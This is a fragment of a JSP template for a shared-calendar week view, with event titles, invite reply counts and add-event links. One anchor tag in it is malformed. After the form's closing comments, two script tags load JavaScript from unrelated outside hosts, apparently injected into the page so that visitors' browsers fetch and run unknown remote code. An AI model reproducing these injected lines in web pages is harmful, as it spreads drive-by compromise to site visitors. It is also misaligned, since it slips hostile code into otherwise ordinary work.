                   <html:summarizeContent key="<%=TextUtility.htmlEncode(calendar.getTitle())%>" limitLength="50" />
                   <%if (!calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) {%>
                   [<bean:message key='calendar.label.colleague_shared_by'/> <%=calendarCreatorName%>]
                   <%}%>
                   </font></a>
              <% }else if  (CalendarRecord.SHARE_TYPE_SHOW_TITLE.equals(calendar.getShareType())) {%>
                <%if (calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) {%>
                <a title='<%=TextUtility.replaceString(calendar.getTitle(),singleQuote,"&#39")%>' href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_WEEK%>'>
                <font class='<%= calendarClass %>'>
                <html:summarizeContent key="<%=TextUtility.htmlEncode(calendar.getTitle())%>" limitLength="50" /></font></a>
                <%}else{%>
                      <font class='<%= (calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) ?
                        "calendar_own_event" : ( (isInvited)  ? "calendar_others_meeting" : "calendar_others_event") %>'>
                      <a title='<%=TextUtility.replaceString(calendar.getTitle(),"'","&#39")%>&nbsp[<bean:message key='calendar.label.colleague_shared_by'/> <%=calendarCreatorName%>]'</a></font>
                      <html:summarizeContent key="<%=TextUtility.htmlEncode(calendar.getTitle())%>" limitLength="50" /> [<bean:message key='calendar.label.colleague_shared_by'/> <%=calendarCreatorName%>]</font></a>											<%}%>
               <%}else if (calendar.getCreatorID().equals(sessionContainer.getUserRecordID())) {%>
                 <a title='<%=TextUtility.replaceString(calendar.getTitle(),singleQuote,"&#39")%>' href='MaintCalendar.do?navMode=V&ID=<%=calendar.getID()%>&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_WEEK%>'>
                 <font class='<%= calendarClass %>'>
                 <html:summarizeContent key="<%=TextUtility.htmlEncode(calendar.getTitle())%>" limitLength="50" /></font></a>
               <%}%>
<%	//check for invite status		%>
<%	updateAlertList = (ArrayList)updateAlertDAO.getByObjectTypeObjectIDAndActionType(UpdateAlert.CALENDAR_TYPE,
      calendar.getID(), UpdateAlert.INVITE_ACTION);
  if (updateAlertList.size()>0)  {
      UpdateAlert updateAlert = (UpdateAlert)updateAlertList.get(0);

      UpdateAlertSystemLogDAObject alertSystemLogDAO = new UpdateAlertSystemLogDAObject(sessionContainer, conn);
            List validUpdateAlertID = new ArrayList(1);

            validUpdateAlertID.add(updateAlert.getID());
            List systemLogList = alertSystemLogDAO.getSystemLogList(validUpdateAlertID);
            int ttlReplyOnAccept = 0;
            int ttlReplyOnTentative =  0;
            int ttlReplyOnReject = 0;
            if (systemLogList!=null) {
              for (int k=0; k<systemLogList.size(); k++) {
                UpdateAlertSystemLog alertSystemLog = (UpdateAlertSystemLog)systemLogList.get(k);

                List replyOnAcceptAry = (List) alertSystemLogDAO.getReplyActionByUpdateAlertID(
                  alertSystemLog, UpdateAlert.ACCEPT_ON_REPLY);
                if (replyOnAcceptAry!=null)
                  ttlReplyOnAccept = replyOnAcceptAry.size();
                List replyOnTentativeAry = (List) alertSystemLogDAO.getReplyActionByUpdateAlertID(
                  alertSystemLog, UpdateAlert.TENTATIVE_ON_REPLY);
                if (replyOnTentativeAry!=null)
                  ttlReplyOnTentative = replyOnTentativeAry.size();
                List replyOnRejectAry = (List) alertSystemLogDAO.getReplyActionByUpdateAlertID(
                  alertSystemLog, UpdateAlert.REJECT_ON_REPLY);
                if (replyOnRejectAry!=null)
                  ttlReplyOnReject = replyOnRejectAry.size();

              }		%>


              <b><html:img src='IconAccept.gif' /><%=ttlReplyOnAccept%>
                  <html:img src='IconTentative.gif' /><%=ttlReplyOnTentative%>
                  <html:img src='IconReject.gif' /> <%=ttlReplyOnReject%> </b>
<%            }
  out.println("</nobr>");
  }	%>
  </nobr>
<%
  out.println("<br>");
            }
          }
        }		 		
%>
    </span>
    </td>


<%	if (!haveWholeDayEvent) {  	%>
    <td width="40" align='left' valign='top' class="greyD" ><span class='bodyVerySmall' >
      <logic:permission right="I">
        <a href='MaintCalendar.do?eventType=<%=CalendarRecord.EVENT_TYPE_CALENDAR_EVENT%>&navMode=N&selectedDay=<%=currentDayToList%>&selectedMonth=<%=currentDayofWeek.get(Calendar.MONTH)+1%>&selectedYear=<%=selectedYear%>&displayDay=<%=selectedDay%>&displayMonth=<%=currentDayofWeek.get(Calendar.MONTH)+1%>&displayYear=<%=selectedYear%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_WEEK%>'>+<bean:message key='calendar.label.event_calendar_event' /></a><br><a href='MaintCalendar.do?eventType=<%=CalendarRecord.EVENT_TYPE_CALENDAR_MEETING%>&navMode=N&selectedDay=<%=currentDayToList%>&selectedMonth=<%=currentDayofWeek.get(Calendar.MONTH)+1%>&selectedYear=<%=selectedYear%>&displayDay=<%=selectedDay%>&displayMonth=<%=currentDayofWeek.get(Calendar.MONTH)+1%>&displayYear=<%=selectedYear%>&listName=eventList&oldNavMode=<%=CalendarRecord.NAV_MODE_LIST_BY_WEEK%>'>+<bean:message key='calendar.label.event_calendar_meeting' /></a><br>
        <font color="gray">+<bean:message key='calendar.label.event_calendar_event'/><br> +<bean:message key='calendar.label.event_calendar_meeting'/></font>
      </logic:permission>
      </span>
    </td>
<%	}							%>



    </tr>
<%
    prvDayToList  = currentDayofWeek.get(Calendar.DAY_OF_MONTH);
    currentDayofWeek.add(Calendar.DATE,1);
  } //Fisrt For End


%>
</table>
</layout:tabContainer>
</html:form>



<!-- List Calendar By Week Panel End -->

<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>